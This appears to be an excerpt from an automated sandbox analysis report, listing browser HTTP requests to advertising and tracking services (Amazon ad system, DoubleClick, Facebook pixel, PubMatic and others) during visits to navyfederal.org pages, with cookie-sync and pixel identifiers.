Source: global traffic	HTTP traffic detected: GET /usersync?b=amz&i=-sb2_WCnTdmJBVEKboSJcw&n=y&r=https://s.amazon-adsystem.com/ecm3?ex=gumgumHMT&id=[UID] HTTP/1.1Host: usersync.gumgum.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ecm3?id=e11e83fbcf382d98697e6b3cc74afa0&ex=freewheel.tv&gdpr={gdpr}&gdpr_consent={gdpr_consent}&userId=q4pbDMm1SEWkCQa7gNP-yA HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /p2?c1=9&c2=27552257&r=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3Dcomscore.com%26id%3D%25AX_UUID%25 HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: UID=1813866b81e56349cae653d1716590790; PID=14E3866b82009349cae638a1716590790; XID=1813866b81e56349cae653d1716590790
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=tripleliftHMT&id=4311655648632522917084 HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=bidswitch.com&id=0a0d1ff8792a1f8ccac2f97b7225f511 HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=openx.com&id=8c4dc9dd-8927-cb0f-00e8-a46289e43664 HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=doubleclick.net&google_error=3 HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /ecm3?id=y-goL7EHNE2pFaKpW2Ux_9vNNKPSAFiysXjOrE~A&status=OK&ex=gemini HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=mediarithmics&id=vec-89513437004 HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /AdServer/UCookieSetPug?rd=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3Dpubmatic.com%26id%3D%23PM_USER_ID HTTP/1.1Host: image6.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KRTBCOOKIE_290=23261-8HqdmD-3T2Kfc3JXiy0NuQ&KRTB&23219-8HqdmD-3T2Kfc3JXiy0NuQ&KRTB&23561-8HqdmD-3T2Kfc3JXiy0NuQ; PugT=1716590786
Source: global traffic	HTTP traffic detected: GET /engagement/event?input=%7B%22globalId%22%3A%220b31c55f-287d-4370-a8d9-98e50fdf2aed%22%2C%22creativeId%22%3A%22%22%2C%22placementId%22%3A%22%22%2C%22goalId%22%3A%2215654%22%2C%22sessionId%22%3A%22f46e0e56-6062-4c7b-bbc6-b6f1e2e28664%22%2C%22parentPublisherId%22%3A%22%22%2C%22publisherId%22%3A%22%22%2C%22siteId%22%3A%22%22%2C%22commonId%22%3A%22%22%2C%22heartbeat%22%3A3%2C%22url%22%3A%22https%3A%2F%2F9749892.fls.doubleclick.net%2Factivityi%3Bdc_pre%3DCNvcm_yup4YDFUlzQQId92gD5Q%3Bsrc%3D9749892%3Btype%3Dgener0%3Bcat%3Dnfcu_000%3Bord%3D6875800667488%3Bnpa%3D0%3Bauiddc%3D1380165631.1716590754%3Bps%3D1%3Bpcor%3D1576649674%3Buaa%3Dx86%3Buab%3D64%3Buafvl%3DGoogle%252520Chrome%253B117.0.5938.134%257CNot%25253BA%25253DBrand%253B8.0.0.0%257CChromium%253B117.0.5938.134%3Buamb%3D0%3Buam%3D%3Buap%3DWindows%3Buapv%3D10.0.0%3Buaw%3D0%3Bpscdl%3Dnoapi%3Bfrm%3D0%3Bgtm%3D45fe45m0za200%3Bgcd%3D13l3l3l3l1%3Bdma%3D0%3Bepver%3D2%3B~oref%3Dhttps%253A%252F%252Fwww.navyfederal.org%252Fbranches-atms.html%3F%22%2C%22fingerprint%22%3A%22%22%2C%22fingerprintProvider%22%3A%22%22%7D HTTP/1.1Host: bttrack.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: GLOBALID=2uKlc8-sIBd987FnJ3_EGJz4AHMFJ9T7D3E4nQyxIEOOQb5oiA66qvuxm2bXmopXIWr2S4rHQ5QC4TM1
Source: global traffic	HTTP traffic detected: GET /amazon/1/get?_url=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3Dsemasio%26id%3D%24%7BUIPID%28%29%7D HTTP/1.1Host: uipus.semasio.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /universal_pixel.1.1.0.js HTTP/1.1Host: js.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"If-None-Match: "2775054c068b37509e0798448f7fd32c"If-Modified-Since: Mon, 20 May 2024 07:02:14 GMTsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-L6FiKuT_jwQBRIUCgV0YXBhZBILCJbLicGrk_48EAUSFgoHbGh3Yms1ORILCJjticGrk_48EAUSFgoHeWpuMGd1cBILCKSTisGrk_48EAUSFgoHYWRkdGhpcxILCOrul9Crk_48EAUSGAoJYWRhZHZpc29yEgsIzJOY0KuT_jwQBRIVCgZjYXNhbGUSCwjauJjQq5P-PBAFEhYKB3N2eDl0NTASCwjq4bW1rJP-PBAFEhkKCmxpdmVpbnRlbnQSCwj4kra1rJP-PBAFEhYKB3VlZDNrdnISCwimxba1rJP-PBAFGAUoAzILCJ6juOLCk_48EAU4AUIEIgIIAVoHcGNsOGJpeWAB
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=tripleliftHMT&id=4311655648632522917084 HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=ispot.tv&id=cd4bb81c5af2823972102b0e8a49c3dda4be936e993458582b7ce95187509bcd HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=comscore.com&id=f6a32d2159cd843527c203721a6aa167 HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=googleHMT&google_error=3 HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=pubmatic.com&id=B19A8DF4-8C37-4A90-8417-78FD8ED98100 HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /amazon/1/get2?_url=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3Dsemasio%26id%3D%24%7BUIPID%28%29%7D HTTP/1.1Host: uipus.semasio.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: SEUNCY=27F9076E5F83992F
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=mediarithmics&id=vec-89513437004 HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /s/35759?bidder_id=44489&bidder_uuid=00d6b47b-5df0-41e1-812e-c334ebaa9abf&cb=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dliveintent HTTP/1.1Host: i.liadm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _li_ss=CgsKCQj_____BxCJGA; lidid=70344332-7801-4475-9af2-802d8d6e72cf
Source: global traffic	HTTP traffic detected: GET /xuid?mid=3658&xuid=00d6b47b-5df0-41e1-812e-c334ebaa9abf&dongle=0cfd&gdpr=0&gdpr_consent=&redir=https://match.adsrvr.org/track/cmf/generic?ttd_pid=svx9t50 HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tluidp=4311655648632522917084; tluid=4311655648632522917084
Source: global traffic	HTTP traffic detected: GET /6d78f32846d8648c/sync.gif?fck=00d6b47b-5df0-41e1-812e-c334ebaa9abf HTTP/1.1Host: dmp.truoptik.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=ispot.tv&id=cd4bb81c5af2823972102b0e8a49c3dda4be936e993458582b7ce95187509bcd HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=comscore.com&id=f6a32d2159cd843527c203721a6aa167 HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=googleHMT&google_error=3 HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=pubmatic.com&id=B19A8DF4-8C37-4A90-8417-78FD8ED98100 HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=semasio&id=27F9076E5F83992F HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=semasio&id=27F9076E5F83992F HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /tr/?id=125275241484882&ev=PageView&dl=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&rl=&if=false&ts=1716590797195&sw=1280&sh=1024&v=2.9.156&r=stable&ec=0&o=4126&fbp=fb.1.1716590756253.2112400685&cs_est=true&ler=empty&cdl=API_unavailable&it=1716590796655&coo=false&rqm=GET HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /privacy_sandbox/pixel/register/trigger/?id=125275241484882&ev=PageView&dl=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&rl=&if=false&ts=1716590797195&sw=1280&sh=1024&v=2.9.156&r=stable&ec=0&o=4126&fbp=fb.1.1716590756253.2112400685&cs_est=true&ler=empty&cdl=API_unavailable&it=1716590796655&coo=false&rqm=FGET HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAttribution-Reporting-Eligible: event-source, triggerReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /activityi;src=9749892;type=gener0;cat=conta0;ord=3291343058461;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=834203213;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html? HTTP/1.1Host: 9749892.fls.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg; _dpm_ses.4d04=*; _dpm_id.4d04=62ee9019-96e3-4db4-9307-4201e701ba8f.1716590761.1.1716590761.1716590761.30350b8a-ca27-426c-b033-4c9e26c0870b
Source: global traffic	HTTP traffic detected: GET /td/fls/rul/activityi;fledge=1;src=9749892;type=gener0;cat=conta0;ord=3291343058461;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=834203213;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html? HTTP/1.1Host: td.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg
